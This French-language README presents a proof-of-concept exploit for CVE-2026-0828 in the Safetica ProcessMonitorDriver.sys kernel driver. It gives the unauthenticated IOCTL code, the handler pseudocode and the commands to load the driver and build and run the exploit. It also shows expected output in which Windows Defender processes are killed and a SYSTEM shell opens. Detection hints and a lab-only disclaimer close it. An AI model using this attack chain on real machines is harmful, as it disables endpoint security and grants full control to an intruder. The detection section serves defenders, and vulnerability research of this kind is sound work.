
Exploit de preuve de concept pour CVE-2026-0828, une vulnérabilité BYOVD dans Safetica ProcessMonitorDriver.sys permettant l'arrêt non privilégié de processus protégés par PPL et une élévation de privilèges locale vers SYSTEM via l'abus d'IOCTL et la duplication de jetons.
Le pilote noyau Safetica DLP (ProcessMonitorDriver.sys) expose un IOCTL non authentifié qui permet à tout appelant en mode utilisateur de terminer des processus arbitraires via ZwTerminateProcess en contexte noyau, contournant ainsi la protection PPL (Protected Process Light).
CVSS : 8.8 (Élevé) · Type : BYOVD, LPE · Plateforme : Windows x64
Le gestionnaire IRP_MJ_DEVICE_CONTROL pour l’IOCTL 0xB822200C appelle ZwOpenProcess avec PROCESS_ALL_ACCESS (0x1FFFFF) puis ZwTerminateProcess en utilisant un PID fourni directement depuis le tampon d’entrée — sans aucune validation de privilège ou d’appelant.
// Gestionnaire vulnérable (pseudocode IDA)
ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
ZwTerminateProcess(ProcessHandle, 0); // pas de SeSinglePrivilegeCheck, pas de vérification ExGetPreviousMode
Comme l’appel provient du contexte noyau, les processus protégés par PPL (Windows Defender, agents EDR) peuvent être tués.
Versions concernées : Safetica < 11.26.19 / < 10.5.150
Corrigé dans : Safetica 11.26.19, 11.29.8, 10.5.150 — ajout d’une vérification de privilège dans le gestionnaire IOCTL
Références : Avis KOSEC · CERT VU#818729
Privilèges administrateur
│
├─► Charger ProcessMonitorDriver.sys
│ sc create STProcessMonitor type=kernel binPath=...
│
├─► PHASE 1 : Tuer l’EDR via l’IOCTL 0xB822200C
│ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
│ → ZwTerminateProcess(Defender/EDR, 0) [ctx noyau, PPL contourné]
│
└─► PHASE 2 : Duplication de jeton → shell SYSTEM
AdjustTokenPrivileges(SeDebugPrivilege)
OpenProcess(winlogon.exe)
DuplicateTokenEx(TokenPrimary)
CreateProcessWithTokenW(cmd.exe)
→ NT AUTHORITY\SYSTEM
| Fichier | Description |
|---|---|
exploit.c | PoC complet — tue l’EDR, lance cmd.exe sous NT AUTHORITY\SYSTEM |
Nécessite Visual Studio (Invite de commandes native x64) :
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
Étape 1 — Charger le pilote (CMD administrateur) :
sc create STProcessMonitor type= kernel binPath= "C:\chemin\vers\ProcessMonitorDriver.sys"
sc start STProcessMonitor
Étape 2 — Lancer le PoC :
exploit.exe
Sortie attendue :
[Phase 1] Killing EDR via CVE-2026-0828...
MsMpEng.exe PID 3412 -> KILLED
NisSrv.exe PID 4180 -> KILLED
SeDebugPrivilege enabled
winlogon.exe -> pid 560
[+] Got SYSTEM token handle.
[+] Token duplicated.
shell spawned
Une nouvelle fenêtre cmd.exe s’ouvre en tant que NT AUTHORITY\SYSTEM.
ID d’événement 7045 — installation d’un nouveau service noyau :
Service Name: STProcessMonitor
Service File Name: ...\ProcessMonitorDriver.sys
Service Type: kernel mode driver
Liste de blocage WDAC (SHA256) :
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
ETW : Surveiller les appels DeviceIoControl vers \\.\STProcessMonitorDriver.
Réservé à la recherche en sécurité autorisée et à une utilisation en laboratoire uniquement. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n’avez pas d’autorisation écrite de test.